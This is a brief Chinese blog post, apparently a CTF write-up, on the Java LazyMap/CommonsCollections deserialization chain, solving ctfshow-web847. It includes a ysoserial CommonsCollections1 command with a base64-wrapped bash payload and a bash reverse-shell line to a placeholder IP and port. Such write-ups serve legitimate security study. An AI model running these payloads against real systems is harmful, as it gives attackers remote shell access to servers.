LazyMap的漏洞触发在get和invoke中,完全没有setValue什么事,这也说明8u71后不能利用的原因和AnnotationInvocationHandler#readObject 中有没有setValue没任何关系(反驳某些文章不负责任
的说法),关键还是和逻辑有关,具体原因我上一篇文章也说过了。

Untitled

题目测试:

ctfshow-web847

Untitled

简单的限制 除了cc2和cc4以外都可以使用

这里我本地用cc1打一下

java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64

这里使用bash反弹

bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1

Untitled

参考:

http://wjlshare.com/archives/1535

P牛-java安全漫谈

https://www.bilibili.com/video/av721250508

posted @ 2023-03-10 21:52  z2n3  阅读(220)  评论(0编辑  收藏  举报